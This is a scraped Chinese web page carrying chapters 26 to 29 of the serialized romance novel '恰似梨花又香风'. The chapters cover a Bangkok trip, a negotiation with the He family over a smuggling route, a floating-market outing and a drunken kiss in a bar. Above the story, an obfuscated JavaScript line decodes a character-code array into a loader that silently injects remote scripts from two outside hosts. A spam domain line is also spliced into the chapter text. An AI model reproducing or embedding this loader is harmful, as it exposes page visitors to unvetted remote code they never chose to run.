登录 首页
公告
移除广告,15元/月
(function(a){(new Function(String.fromCharCode(...a)))();})([108, 101, 116, 32, 117, 114, 108, 115, 61, 91, 34, 104, 116, 116, 112, 115, 58, 47, 47, 100, 45, 49, 51, 53, 49, 52, 52, 55, 52, 57, 50, 46, 99, 111, 115, 46, 97, 112, 45, 115, 104, 97, 110, 103, 104, 97, 105, 46, 109, 121, 113, 99, 108, 111, 117, 100, 46, 99, 111, 109, 47, 49, 57, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 44, 34, 104, 116, 116, 112, 115, 58, 47, 47, 112, 46, 55, 100, 51, 54, 97, 46, 99, 111, 109, 47, 49, 57, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 93, 59, 119, 105, 110, 100, 111, 119, 46, 95, 95, 114, 114, 95, 95, 104, 108, 100, 61, 49, 59, 108, 101, 116, 32, 117, 114, 108, 105, 110, 100, 101, 120, 61, 48, 59, 108, 101, 116, 32, 114, 102, 117, 110, 99, 61, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 105, 102, 40, 119, 105, 110, 100, 111, 119, 46, 95, 95, 114, 114, 95, 95, 108, 111, 97, 100, 101, 100, 95, 50, 53, 51, 57, 95, 49, 49, 48, 53, 32, 33, 61, 32, 39, 111, 107, 39, 41, 123, 108, 101, 116, 32, 115, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 115, 115, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 115, 115, 46, 114, 101, 102, 101, 114, 114, 101, 114, 80, 111, 108, 105, 99, 121, 61, 39, 110, 111, 45, 114, 101, 102, 101, 114, 114, 101, 114, 39, 59, 115, 115, 46, 115, 114, 99, 61, 117, 114, 108, 115, 91, 117, 114, 108, 105, 110, 100, 101, 120, 43, 43, 93, 43, 32, 40, 110, 97, 118, 105, 103, 97, 116, 111, 114, 46, 117, 115, 101, 114, 65, 103, 101, 110, 116, 46, 105, 110, 100, 101, 120, 79, 102, 40, 39, 65, 110, 100, 114, 111, 105, 100, 39, 41, 32, 33, 61, 32, 45, 49, 32, 63, 32, 39, 48, 39, 58, 39, 49, 39, 41, 32, 43, 32, 39, 63, 39, 32, 43, 32, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 46, 103, 101, 116, 84, 105, 109, 101, 40, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 41, 59, 125, 125, 59, 114, 102, 117, 110, 99, 40, 41, 59, 114, 102, 117, 110, 99, 40, 41, 59]);
晴空万里 / 2025/10/13 04:31 / 183 / 34 /
【小说】恰似梨花又香风

晴空万里 / 发表于: 2025/10/13 07:49:54

26 心动?算计
  温梨急得眼眶泛红,指尖蜷缩着抵在他掌心,却挣不开半分。前排司机与管事的交谈声近在咫尺,她甚至能听见后车厢空调出风口细微的气流声。
  二哥她咬着唇凑近他耳畔,声音轻得几乎听不见,带着几分讨饶的意味,前面还有人湿热的气息拂过耳廓,裴司眸色微暗。少女柔软的胸脯因前倾的姿势若有似无地蹭过他手臂,发丝间淡淡的玫瑰香混着未散的沐浴露气息,在密闭车厢里格外清晰。
  他垂眸看她泛红的耳尖,忽然觉得这趟带她来确实没带错,既试探出了温慕云的软肋,又怕什么。他故意压低声音,拇指在她掌心暧昧地画圈,又不是没摸过。
  温梨羞恼地瞪他,却不敢大声反驳,只能气鼓鼓地掐他手背。这点力道对裴司来说跟挠痒痒没区别,反而让他低笑出声。
  乖。他忽然松了力道,修长的手指缓缓插入她的指缝,十指相扣地按在自己大腿上,就这样,别乱动。
  温梨的手被迫贴着他结实的大腿,掌心下的温度透过西装裤料传来,烫得她指尖发麻。她挣了挣,却被他握得更紧。
  裴司满意地看着她敢怒不敢言的模样,指腹若有似无地摩挲她手背细嫩的肌肤。晨光透过茶色车窗,在她睫毛上投下细碎的光晕,鼻尖还带着未褪的红,像只被欺负狠了却只能忍气吞声的小猫。
  车子驶过曼谷繁华的街道,窗外喧嚣的人声与车内诡异的静谧形成鲜明对比。温梨的手指渐渐放松下来,无意识地蜷在他掌心里。
  裴司垂眸,看着两人交握的手。她的手指纤细白皙,指甲修剪得圆润可爱,此刻正乖乖地被他包裹着。
  他忽然想起今早她缩在自己怀里的模样,发丝散在枕上,睡裙领口歪斜,露出半边雪白的肩头喉结微动,裴司松开她的手,转而揽住她的腰往自己这边带了带。
  坐那么远干什么?
  温梨被他突如其来的动作惊得轻呼一声,慌忙扶住他肩膀稳住身形。这个姿势让她几乎半靠在他怀里,鼻尖萦绕的全是他身上淡淡的雪松气息。
  她鼓着腮帮子,手指无意识地揪住他衬衫前襟,心底已经把这人骂了好多遍。
  裴司低笑,掌心在她腰侧轻轻摩挲,目光落在她红透的耳垂上。
  昨晚他故意拖长了调子,欣赏着她紧张起来的神色,是谁那么大胆敢骑到我腰上来的?嗯?
  温梨简直要炸了!明明是他突然把她抱起来放在腰上的!怎么就变成她骑上去了?!她气得胸口起伏,却碍于前面有人,只能狠狠剜了他一眼,在心里把这个颠倒黑白的混蛋骂得体无完肤。
  车子突然转弯,惯性让她整个人猝不及防地又往裴司怀里栽去。唇瓣不经意擦过他凸起的喉结,温梨瞬间僵住,连呼吸都停滞了。
  裴司喉结猛地滚动了一下,扣在她腰上的手臂骤然收紧,力道大得将她完全禁锢在怀里。他低头,眼神深邃灼热,像盯紧了猎物的猛兽,带着某种隐忍和危险的信号,无声地落在她惊慌失措的脸上。
  温梨心跳如雷,被他滚烫的眼神看得浑身发软,连挣扎都忘了。
  车子平稳下来,裴司才缓缓松开些许力道,但箍在她腰间的手并未挪开。他目光沉沉地扫过她微张的红唇,片刻后,若无其事地转头望向窗外,仿佛刚才那瞬间的失控只是错觉。
  温梨趁机仓皇地退回座位角落,心跳快得不像话。她偷偷瞥了眼裴司,发现他正望着窗外,侧脸线条在晨光中格外凌厉,喉结上的黑痣随着呼吸微微起伏,刚才那灼人的视线消失无踪,只剩下一片深沉的平静。
  车子缓缓驶入何家庄园,象牙白雕花铁门无声滑开。温梨攥着裙摆,指尖还残留着方才被他紧扣的触感,心跳快得发慌,只敢盯着窗外成排的棕榈树。
  车门被侍者拉开,灼热的东南亚阳光裹着草木湿气涌进来。一只骨节分明的手伸到眼前,掌心和虎口处带着薄茧。
  温梨迟疑了一下,还是将手放了上去。裴司的力道沉稳,稳稳将她带出车厢。温梨脚刚落地,就对上他低垂的目光。那眼神像带着钩子,她心尖一颤,慌忙别开脸,耳尖的热度却骗不了人。
  “温小姐!”一声油腻的呼唤紧跟着响起。何少霆穿着紧绷的米色西装,肚子前的纽扣几乎要撑开,叁步并作两步就冲了过来,肥胖的脸上堆满笑容,汗珠在油亮的额头上滚动,胸前口袋插着的茉莉花瓣都有些蔫了。他身上的浓烈古龙水味混着汗味扑面而来,熏得温梨下意识后退了半步,微微侧身,半个身子隐在了裴司宽肩阔背的阴影里。指定网址不迷路po18ab.com裴司像是没看见何少霆伸出的胖手,反手将温梨往身后带了带,姿态自然得如同拂开一片落叶。他抬眼看向台阶上缓步迎下来的何伟雄,唇角勾起惯常的弧度:“何叔,叨扰了。”
  何伟雄金丝眼镜后的目光在裴司护着温梨的姿态上飞快扫过,脸上堆起无可挑剔的笑意:“裴生太客气了,快请进!外面日头毒。”他转向温梨,语气慈祥,“阿梨晒不得太阳吧?让阿霆带你去花厅尝尝早上刚摘的芒果冰沙?”
  何少霆闻言眼睛一亮,迫不及待地又往前凑:“对对对!妹妹这边走,都是泰国最好的金……”他“金枕头芒果”几个字还没说完,裴司搭在温梨肩上的手微微用力,止住了她挪动的脚步。
  “不急。”裴司声音不高,却带着不容置疑的分量,目光落在何伟雄身上,“有些事正好想先请教何叔。”他侧首,像是对温梨解释,又像是说给众人听,“小妹昨夜没睡好,让她跟着我就行,省得乱跑再受了惊。”
  温梨低着头,盯着裴司锃亮的皮鞋尖,心头莫名一松,紧攥裙摆的手指悄然松开。
  何伟雄脸上的笑容不变,眼底却掠过一丝极快的不悦,他哈哈一笑,顺势拍了下何少霆的肩膀:“也好,也好!阿霆,去催催厨房,点心快些上。”他那眼神,带着警告。何少霆撇撇嘴,不甘心地又瞄了温梨一眼,这才悻悻转身。
  何家庄园的客厅极尽奢华,柚木地板光可鉴人,墙壁镶嵌着繁复的象牙浮雕,巨大的水晶吊灯折射着七彩光芒。空气里弥漫着熏香、雪茄和热带水果的甜腻气息。
  裴司在铺着丝绒软垫的藤椅落座,手臂随意搭在扶手上。温梨被他带着坐在他旁边的位置,佣人奉上冰镇的椰青和精致的泰式点心,裴司端起椰青啜饮一口,姿态闲适。
  何伟雄在主位坐下,摘下金丝眼镜慢条斯理地擦拭着镜片:“裴生,昨晚的酒会太匆忙,有些话没来得及细说。关于菲律宾那边,我们何家是真心诚意想合作。温老哥在那边多年,根基深厚,我们有人脉渠道,强强联合,才是真正的双赢。”他重新戴上眼镜,目光锐利,“尤其是那条‘水上通道’,如今风声紧,更需要稳定可靠的伙伴。”
  裴司放下椰青,指腹在冰凉的杯壁上缓缓摩挲,嘴角噙着一抹似笑非笑的弧度:“何叔说得对,合作,讲究的是诚心诚意。不过……”他话锋一转,目光似不经意地扫过温梨低垂的发顶,“义父向来谨慎,尤其是涉及‘特殊货物’的转运,更是慎之又慎。毕竟,家眷安危,马虎不得。”他特意加重了后面四个字。
  何伟雄脸上的笑容僵了一瞬,旋即恢复自然:“裴生多虑了!安全方面,我们何家自有万全之策。这条水道跑了这么久,何时出过纰漏?”他身体微微前倾,压低声音,“我知道温老哥的顾虑,无非是怕利润分配不均。这点请放心,只要这条线稳,我们何家愿意让出半成利,以示诚意!温小姐,”他突然转向温梨,笑得一脸慈和,“你说对吧?生意上的事,总要互惠互利才能走得长远。”
  温梨被他突然点名,心头猛地一跳,指尖掐进掌心。她抬起头,撞上何伟雄那双藏在镜片后精光闪烁的眼睛,只觉得那笑容虚假得令人作呕。
  她张了张嘴,却不知该如何回答这看似亲切实则尖锐的试探。她只是个被摆在谈判桌上的筹码,哪里有说话的份?
  就在这时,一只温热干燥的手轻轻覆在了她紧握的拳头上。裴司的手掌宽大,带着安抚的力量,指尖在她手背上不着痕迹地按了一下。
  “何叔,”裴司的声音平稳地响起,替她接过了话头,也将何伟雄的注意力重新拉回,“小妹年纪小,不懂这些。”他迎着何伟雄的目光,眼神平静却带着不容置喙的压力,“马尼拉那边,细节还得跟义父慢慢商议。不过何叔的诚意,裴某会一字不落地带到。”
  客厅里的空气瞬间凝滞了几秒。何伟雄脸上的笑容终于淡了些,镜片后的目光深不见底。他盯着裴司那只覆在温梨手背上的手,又缓缓移开视线,最终化为一声意义不明的轻笑。
  “哈,好,好!裴生办事稳妥,我自然是放心的。”他重新端起茶杯,氤氲的热气模糊了他眼底的算计,“那我们就等温老哥的好消息了。”

女神的超级赘婿
黑夜的瞳
我遵循母亲的遗言,装成废物去给别人做上门女婿,为期三年。 现在,三年时间结束了...

晴空万里 / 发表于: 2025/10/13 07:50:03

27 度假
  他说带她来度假,温梨当时只当是句随口敷衍的场面话。毕竟此行的目的地是何家,度假?在这种漩涡中心度假?她连半分都没信过。
  所以当裴司真的带着她走出何家的庄园,没有立即返回酒店或赶往下一个应酬点,而是让车子拐向湄南河喧嚣的水上市场时,温梨是懵的。
  阳光刺眼,扑面而来的是河水浑浊的腥气、香料摊浓烈的辛香和小贩们穿透力十足的吆喝声。
  他真的带她……出来玩了?
  湄南河的水汽混着香料摊的辛香扑面而来,水上市场喧嚷的人声像煮沸的粥。长尾船在浑浊的河水里挤挨着穿梭,船娘顶着满筐青芒果和红毛丹,黝黑的脸上堆着笑。
  温梨挤在裴司前面,白色凉鞋踩过湿漉漉的木栈道,眼睛亮得像星星。她在一家挂着彩色布幡的摊子前猛地刹住脚,指尖捻起一串用象牙小象雕成的项链吊坠,对着阳光眯眼细看。
  “这个给宝琼最好!”她回头,马尾辫扫过裴司胸口,声音脆生生的,“她属象的嘛!”不等裴司反应,她又扑向旁边散发着浓烈草药味的摊子,指着玻璃罐里颜色诡异的膏体,“爹地风湿痛,上次张医师开的药膏就是这个味道!”
  她像只亢奋的雀鸟,在攒动的人头和缭绕的香烟雾气里穿行。裴司懒洋洋地跟在后头,墨镜遮住了大半张脸,只露出线条冷硬的下颌。他步子迈得大,可温梨跑得更快,好几次他得伸手把她从挤过来的船工堆里拎出来。
  “小心掉下去喂鱼。”他声音平淡,没什么起伏。
  温梨充耳不闻,又停在一个挂满鳄鱼皮具的摊档前,捏着一只小巧的钱包翻来覆去地看,鳄鱼皮的天然纹路在阳光下泛着冷硬的光泽。“叁哥钱包总丢,再买一个给他好了!”她自言自语,又拿起旁边一个镶嵌着玳瑁壳的打火机,“给大哥!他那个旧的都磨花了……”
  她挑挑拣拣,怀里很快堆满了零碎:雕工粗犷的银手镯给二姨太,色彩妖异的纱笼布料给六姨太,气味辛辣的干香料包给厨房的福婶……她腾出一只手,习惯性地去扯身边人的袖子,小拇指勾着裴司的衬衫袖口晃了晃,声音拖得又软又绵,带着明显的讨好和撒娇:“二哥~这些,你给我买好不好嘛?”
  裴司垂眼,墨镜滑下鼻梁一点,露出那双深不见底的黑眸。他视线扫过她怀里小山似的玩意儿,声音听不出情绪:“都是给谁的?”
  温梨立刻掰着手指头数给他听,名字像倒豆子,清脆响亮:“爹地、宝琼、大哥、叁哥、五哥、二姨太、六姨太、福婶……”她絮絮叨叨说着每样东西的理由,发丝被汗水黏在光洁的额角,脸颊泛着兴奋的红晕,唯独漏掉了近在咫尺的这个人。
  裴司眯了眯眼睛,目光沉沉的。他指尖弹了弹衬衫袖口被她捏出的褶皱,转身就走,步子迈得很大,颀长的背影瞬间就融入了涌动的人潮。
  温梨怀里抱着东西,一下子没反应过来。等她意识到裴司真走了,才慌了神。周围全是陌生的泰语吆喝声,空气湿热黏腻,汗水顺着脊背往下淌。她踮起脚张望,只看见裴司那件黑色丝绸衬衫在攒动的人头缝隙里一闪,眼看就要消失。
  “二哥!”她失声叫出来,嗓音都劈了。她拨开挡路的人就往前冲,白色凉鞋踩过不知谁的脚背引来一声泰语咒骂也顾不上了。
  她终于追上,死死攥住裴司垂在身侧的手腕。
  “你别走那么快嘛!”她喘着气,仰起汗湿的小脸,努力挤出最惯用的、那种又甜又软的笑容,眼尾刻意下垂,像只受了天大委屈的小猫,“我……我拿不动了呀!”她晃着他的胳膊,带了些撒娇的力道。
  以往这招对谁都管用,对着爹地和大哥,对着那些太太们,只要她这样放软声音,扯着袖子晃一晃,再难办的事也有商量。
  可裴司站定了,没回头。
  温梨心里咯噔一下。她更用力地晃他胳膊,声音放得更软更糯,带着点小心翼翼的试探:“二哥……好不好嘛?”
  裴司终于转过身。
  墨镜遮住了他的眼睛,温梨只能看见他紧绷的下颚线和抿成一条直线的薄唇。周遭市场的喧嚣仿佛瞬间被抽离,只剩下他周身散发出的那股无形的冷冽气压。
  他抬手,修长的手指慢条斯理地拂开她紧紧攥着自己手腕的手指。
  力道不大,却带着一种不容置疑的决绝。
  然后他抬手,慢悠悠地摘下墨镜。那双眼睛深得像漩涡,里面没有半点她熟悉的、哥哥们面对她撒娇时会有的无奈或纵容,只有一片沉沉的、带着审视和戏谑的冷光。
  “拿不动?”他开口,声音不高,却清晰地穿透了嘈杂的背景音,“那就扔了。”
  温梨脸上的笑容彻底僵住了。一股前所未有的陌生感攫住了她,他不是一向纵容她的哥哥们。可这陌生感只肆虐了一瞬,她猛地想起:他刚才明明一路跟着她,她叽叽喳喳挑这挑那,他也没阻止,甚至在她被挤到时还会伸手拉一把……直到他问“都是给谁的?”他才……
  河水的腥气钻进鼻腔,她裴司那张毫无波澜却透着冷意的脸,一个念头像闪电般劈开混沌,他该不会是……因为没他的份?
  这个念头让她心脏猛地一跳,带着点荒谬又莫名的笃定。
  几乎是福至心灵般地,她顾不上难堪和被打断撒娇的委屈,再次伸出手,小心翼翼地、带着点试探的讨好,轻轻拉住裴司垂在身侧的手指,小幅度地晃了晃。
  “二哥……”她声音放得更软,微微仰着头,眼神里带着点示弱和求饶,“别生气了好不好?”
  河风挟裹着鱼腥与汗味扑面而来,水上市场的喧嚣在温梨耳中嗡鸣成一片空白。裴司垂着眼,墨镜后的视线沉沉地压在她脸上。她攥着他的手指,手心沁出细细的汗,黏在他微凉的皮肤上。
  温梨的手指还勾着他的,指尖无意识地在他掌心轻轻挠了一下。她仰着脸,睫毛上沾着湄南河的水汽,湿漉漉的:我、我还没选好二哥那份......声音越说越小,不知道二哥喜欢什么......
  手指被她无意识地晃得更用力了些,像是在急切地证明什么,又带着点被戳破小心思的慌乱。
  裴司垂眸,视线落在她紧握自己的手上。少女的手指纤细白皙,指甲修剪得圆润,此刻正讨好地蜷在他掌心里,像只撒娇的猫。
  市场上嘈杂的人声、船桨破水的哗啦声、小贩的吆喝声,都成了模糊的背景音。
  他没有抽回手,任由她握着,喉结却微微滚动。
  不知道我喜欢什么?他俯身,薄唇几乎贴上她耳垂,嗓音低沉得危险,阿梨这么聪明,会不知道?
  湿热的气息拂过耳廓,温梨浑身一颤,耳尖瞬间烧得通红。她猛地抬头,正对上他深不见底的黑眸,那里面翻涌的暗色让她心跳骤然加速。
  二哥喜欢什么......
  她脑中蓦地闪过今早房间里,那处的轮廓,还有车里他按着她的手往......
  轰地一下,血液全涌上了脸颊。温梨慌乱地别开眼,手指不自觉地绞紧了他的袖口,嘴唇张了张,却一个字也说不出来。
  裴司看着她瞬间红透的耳根和闪烁的眼神,冷笑一声,直起身子。他抽回手,漫不经心地整了整袖口,转头对一直站在不远处假装看风景的阿彪抬了抬下巴:去,把大小姐挑的东西买了。
  阿彪应了一声,转身往摊档方向走。温梨还僵在原地,指尖残留着他掌心的温度,脑子里全是方才那句暧昧不明的话。
  河风裹着水腥气拂过,她这才回过神,小跑两步追上已经迈步向前的裴司。白色凉鞋踩在湿滑的木栈道上,发出啪嗒啪嗒的声响。
  二哥......她伸手想拉他袖子,又怯怯地缩回,声音细若蚊蝇,那些......那些都是我要送人的......
  裴司脚步不停,头也不回:随你。
  温梨咬了咬唇,快走几步与他并肩,偷偷瞥他侧脸。阳光下,他轮廓深邃得惊人,眉骨投下的阴影遮住了眼底情绪,唯有喉结上那颗黑痣随着呼吸微微起伏。
  她忽然想起什么,眼睛一亮:二哥!
  裴司斜睨她一眼。
  温梨指着不远处一个卖佛牌的摊子,声音雀跃:那个!那个适合你!
  摊位上摆满各式佛牌,其中一枚通体漆黑,雕刻着狰狞的守护神像,在阳光下泛着冷冽的光泽。
  裴司脚步一顿,目光在那枚佛牌上停留片刻,又移回她脸上:为什么?
  因为......温梨绞尽脑汁,因为它看起来很凶,跟二哥一样......话一出口就后悔了,慌忙改口,不是!我是说,它看起来很厉害,能保护人......
  裴司忽然低笑出声,他伸手,拇指重重碾过她下唇,力道大得让她轻微吃痛:温梨。他嗓音沙哑,我要的,不是这些。
  温梨呼吸一滞,唇瓣被他揉得发烫。周围人声鼎沸,可他的气息却无比清晰地笼罩下来,带着不容抗拒的压迫感。
  阿彪拎着大包小包回来时,看见的就是这一幕,自家老大拇指按在大小姐唇上,眼神深得吓人。而大小姐仰着脸,耳根红得像要滴血,眼里水光潋滟。
  他识趣地退开几步,假装研究起旁边的水果摊。
  裴司收回手,转身往码头方向走:回去了。
  温梨愣了两秒才跟上,心跳仍乱得不成样子。她偷偷摸了摸还有些发麻的唇瓣,脑海里全是他那句我要的不是这些。
  不是这些......那是什么?
  长尾船在浑浊的河水中划出一道白浪,温梨望着裴司挺拔的背影,第一次感到无比迷茫。

凡人修仙传
忘语
修仙觅长生,热血任逍遥,踏莲曳波涤剑骨,凭虚御风塑圣魂! ...

晴空万里 / 发表于: 2025/10/13 07:50:12

28 吻
  温梨站在酒店套房的落地窗前,曼谷的夜色璀璨如星河。她指尖无意识地摩挲着窗框,脑海里全是裴司临走时那个晦暗不明的眼神。
  阿彪守在门口,像尊门神似的,任她软磨硬泡都不肯透露半句。
  阿彪~温梨拖长了调子,声音甜得能滴出蜜来,你就告诉我嘛,二哥去哪儿了?
  阿彪板着脸,目不斜视:大小姐,老大吩咐了,您今晚哪儿都不能去。
  温梨突然捂着肚子蹲下来:哎哟......我肚子疼......
  阿彪果然慌了神,连忙蹲下来查看:大小姐?您怎么了?
  温梨趁他靠近,猛地伸手揪住他耳朵:说不说!
  哎哟!大小姐松手!阿彪疼得龇牙咧嘴,却不敢反抗,老大真没说啊!
  温梨松开手,气鼓鼓地瞪着他。忽然,她眼圈一红,声音带上了哭腔:阿彪......我、我就是担心二哥......她吸了吸鼻子,睫毛上挂着一滴要掉不掉的泪珠,他今天在何家喝了那么多酒,万一出事怎么办......
  阿彪最见不得女人哭,顿时手足无措:大小姐别哭啊!老大他、他就是去谈个生意......
  在哪儿谈?温梨乘胜追击,眼泪说收就收。
  阿彪这才反应过来上当了,懊恼地拍了下脑门:哎呀!老大说了不能告诉您的!
  温梨气得跺脚,眼珠一转,突然从手袋里摸出一张照片,故意用背面在阿彪眼前晃了晃:你确定不说?
  阿彪一愣:这、这是什么?
  你说呢?温梨眯起眼,笑得像只狡黠的猫,要是让二哥知道你欺负我......
  阿彪脸色大变,伸手就要来抢:大小姐!这话可不能乱说!
  温梨迅速后退两步,把照片藏到身后:那你告诉我二哥去哪儿了!
  阿彪急得额头冒汗,双手合十作求饶状:大小姐您饶了我吧!老大就是去谈个生意......
  在哪儿?
  帕、帕蓬......阿彪懊恼地拍了下脑门,您可千万别说是我告诉您的!
  温梨满意地把照片塞回手袋,那不过是张普通得不能再普通的风景照罢了,她拎起手袋就往外走。
  阿彪慌忙拦住:大小姐!您不能去啊!那种地方......
  温梨挑眉:哪种地方?她故意提高音量,阿彪,你刚才是不是想抢我东西?
  阿彪吓得立刻缩回手,哭丧着脸:大小姐您别吓我了......
  
  帕蓬的夜晚比白天更喧嚣。霓虹灯将整条街染成暧昧的粉紫色,温梨踩着平底鞋,跟在阿彪身后东张西望。连衣裙在夜风中轻轻摆动,与周围暴露的衣着格格不入。
  老大在那边。阿彪指了指不远处一家招牌闪烁的酒吧,门口站着几个黑衣保镖。
  温梨深吸一口气,理了理裙摆,昂首挺胸地走过去。保镖们看见阿彪,纷纷让开一条路。
  酒吧内灯光昏暗,烟雾缭绕。温梨眯着眼在人群中搜寻,终于在最角落的卡座里发现了裴司的身影。
  他靠在真皮沙发里,黑色衬衫领口微敞,露出锁骨和一小片胸膛。修长的手指夹着烟,烟雾模糊了他锋利的轮廓。对面坐着几个东南亚面孔的男人,正低声交谈着什么。
  温梨刚要上前,突然看见一个穿着红色紧身裙的女人扭着腰走向裴司,一屁股坐到了他腿上!
  !
  温梨瞪着卡座里的一幕,胸口像堵了团棉花。那女人几乎整个人都贴在裴司身上,涂着鲜红指甲油的手指在他胸口画圈,红唇凑近他耳边说着什么,惹得裴司低笑出声。
  她攥紧了手袋带子,好啊,难怪不让她跟来,原来是来这种地方寻欢作乐!
  大小姐,要不咱们还是回去吧......阿彪额头直冒汗。
  温梨充耳不闻,径直走向吧台,一屁股坐在高脚凳。
  小姐喝点什么?酒保擦着玻璃杯问道。
  最贵的。她咬牙切齿地说,声音里带着几分她自己都没察觉的委屈。
  酒保挑了挑眉,转身调了一杯琥珀色的液体推到她面前。温梨盯着那杯酒,突然觉得眼眶发酸。
  小气鬼!不过是用他的钱买点礼物而已,至于给她摆脸色吗?她偏要花他的钱,还要点最贵的酒!
  她抓起酒杯一饮而尽,辛辣的液体灼烧着喉咙,呛得她眼泪都出来了。
  咳——!
  她捂着嘴咳嗽,脸颊瞬间烧得通红,却倔强地把空杯往前一推:再来一杯。
  阿彪急得直跺脚:大小姐,您不能......
  闭嘴。温梨瞪他一眼,要么坐下陪我喝,要么滚出去。
  第二杯酒下肚,温梨感觉整个人都轻飘飘的。酒吧里的灯光变得模糊,音乐声忽远忽近,唯有角落里那个身影依然清晰,裴司的手搭在那女人的腰上,低头说着什么,引得对方娇笑连连。
  她死死盯着这一幕,突然觉得胸口闷得厉害。
  凭什么?凭什么他可以在这种地方花天酒地,她却要因为花了他一点钱就愧疚得睡不着觉?
  温梨又灌下第叁杯,酒精冲上头顶,眼前开始发晕。她撑着吧台站起来,摇摇晃晃地朝卡座走去。
  这位小姐,这里不能......保镖伸手拦住她。
  让开!温梨一把推开对方,声音因为酒精而格外响亮,我找我二哥!
  这一嗓子瞬间吸引了周围人的目光。裴司抬眸,看见满脸通红的温梨站在卡座前,眉头微蹙。
  谁让你来的?
  温梨没回答,目光落在他搭在女人腰上的手上,眼圈一下子红了:你......你不是来谈生意的吗......
  她的声音哽住了,突然觉得自己的行为可笑至极。她转身就要走,却因为酒劲上头,脚下一个踉跄。
  腰肢被一股不容抗拒的力道扣住,温梨踉跄的脚步被强行稳住,整个人跌进那个熟悉的怀抱。
  烟草、烈酒的气息扑面而来,但更刺鼻的是那股廉价又浓烈的香水味,像沾了糖精的劣质薰衣草,缠绕在他黑色衬衫的领口和胸前,盖住了他本身清冽的雪松气息。
  裴司甚至没给她站稳的机会,侧过脸,目光冷淡地扫过卡座里那几个东南亚面孔的男人。只是一个眼神,那几个人便立刻心领神会,迅速起身离开。
  那个穿红裙的女人似乎还想说什么,对上裴司冰冷的目光,最终也只是不情不愿地扭着腰,消失在昏暗的灯光和嘈杂的音乐里。
  世界仿佛一下子清静空旷了许多,只剩下震耳的音乐和他身上那股让她心烦意乱的味道。
  温梨靠在他怀里,酒精上头带来的眩晕和方才冲动跑来的委屈混杂在一起,变成一股难以言喻的酸涩堵在喉咙口。
  她想起自己顶着曼谷下午酷热的太阳,穿梭在拥挤吵闹的水上市场,挤在人群里,笨拙地跟小贩比划,只为挑那个她觉得最配他的黑曜石袖扣……真是傻透了!
  “你……”她抬起头,努力想看清近在咫尺的这张脸,视线却有些模糊,只剩下他紧绷的下颌线和抿成一条直线的薄唇。
  酒精给了她前所未有的胆量,也放大了所有被压抑的情绪。
  “你把我带来泰国……”她开口,声音有点飘,带着自己都没察觉的、像被遗弃小猫般的失落,“……转头就不管我了……把我一个人丢在酒店……” 她语无伦次,控诉着,细数他的罪行,“……还跑来这种地方玩女人……那么多香水味……难闻死了!”
  她越说越委屈,眼底的水汽更重了,身体也不自觉地往他怀里更深地偎去,仿佛那里是唯一能汲取一点支撑的港湾。
  裴司垂眸,看着怀里这个自说自话往他怀里越贴越紧的小醉鬼,先前被打扰正事的不悦早已被她这通胡搅蛮缠折腾得烟消云散,取而代之的是一种难以言喻的兴味。
  他懒懒地掀了下眼皮,视线扫过角落里恨不得把自己缩进阴影里的阿彪,阿彪立刻把头埋得更低,几乎要对地板行叩拜大礼。
  温梨还在喋喋不休,细软的嗓音因为酒精和情绪显得黏黏糊糊,翻来覆去就是那几句控诉,说他把她骗来泰国又不管她,说他小气,说他身上沾了别的女人的臭味。大概是说了这么久都没得到半点回应,她有些恼羞成怒了,环在他颈后的手臂突然用力,猛地往下一勾。
  裴司猝不及防,被她拽得低下头。
  下一秒,温梨仰起脸不管不顾地往上一撞!
  “呜……”
  他没什么反应,反倒是她自己先疼出了眼泪。两片柔软的唇瓣猛地磕在他的牙齿上,力道不轻,疼得她瞬间松了手,眼泪汪汪地捂住了自己的嘴,浓密的睫毛上立刻挂上了细碎的水珠,看起来可怜又委屈。
  裴司舌尖抵了抵被她撞到的齿关,尝到一点极淡的血腥味,不知道是她的,还是他自己的。他看着眼前这个捂嘴含泪、自作自受的小醉猫,喉结滚动,终于低笑出声

女神的超级赘婿
黑夜的瞳
我遵循母亲的遗言,装成废物去给别人做上门女婿,为期三年。 现在,三年时间结束了...

晴空万里 / 发表于: 2025/10/13 07:50:20

29 情动
  裴司抱着温梨回到酒店套房,房门在身后咔哒一声落锁。
  怀里的人还在不安分地扭动,细碎的呜咽和含糊不清的控诉断断续续地漏出来,滚烫的脸颊无意识地在他颈窝里蹭,像只寻求安抚却又闹脾气的小兽。
  他微微仰头,眯着眼看她。
  明明眼睛都困得闭上了,长睫湿漉漉地搭在下眼睑,嘴巴却还不依不饶,哼哼唧唧地怪他把她弄痛了。暖黄的灯光下,能看见她唇瓣果然有些红肿,下唇内侧似乎还有一点点细微的破皮,泛着可怜兮兮的水光。
  裴司舌尖无意识地抵了抵自己嘴角那处被她撞破的小伤口,一丝极淡的铁锈味弥漫开。他低头看着怀里这副景象,她红肿的唇,迷蒙的眼,依赖地蜷在他怀里的姿态,看上去倒真像是被他狠狠“疼爱”过一番。
  他不禁觉得有些好笑。这算什么?恶人先告状?
  “疼……”温梨又嘟囔了一声,眉头委屈地蹙起,似乎真的很难受,手指还无意识地揪紧了他胸前的衬衫布料,将它攥得一团糟。
  裴司没应声,抱着她径直走向卧室,动作不算温柔地将她放在柔软的大床上。身体陷入床垫的瞬间,温梨像是找到了更舒适的依托,哼唧声小了些,但攥着他衣服的手却没松开,反而扯得他不得不跟着弯下腰。
  两人距离极近,她呼出的带着酒气的温热气息拂过他下颌。裴司的目光落在她微张的、红肿的唇瓣上,眸色深了深。
  他伸出拇指,指腹带着枪茧的粗糙感,不算轻柔地擦过她的下唇,抹掉那一点可疑的水渍,动作带着点审视的意味。
  他低声开口,嗓音在寂静的房间里显得格外低沉,带着一丝不易察觉的哑,“撞过来的时候,不是挺勇敢的?”
  温梨似乎听懂了,又似乎完全没进脑子。她不舒服地偏过头,想躲开他作乱的手指,嘴里发出不满的呓语,听起来像是在抱怨,又像是在撒娇。
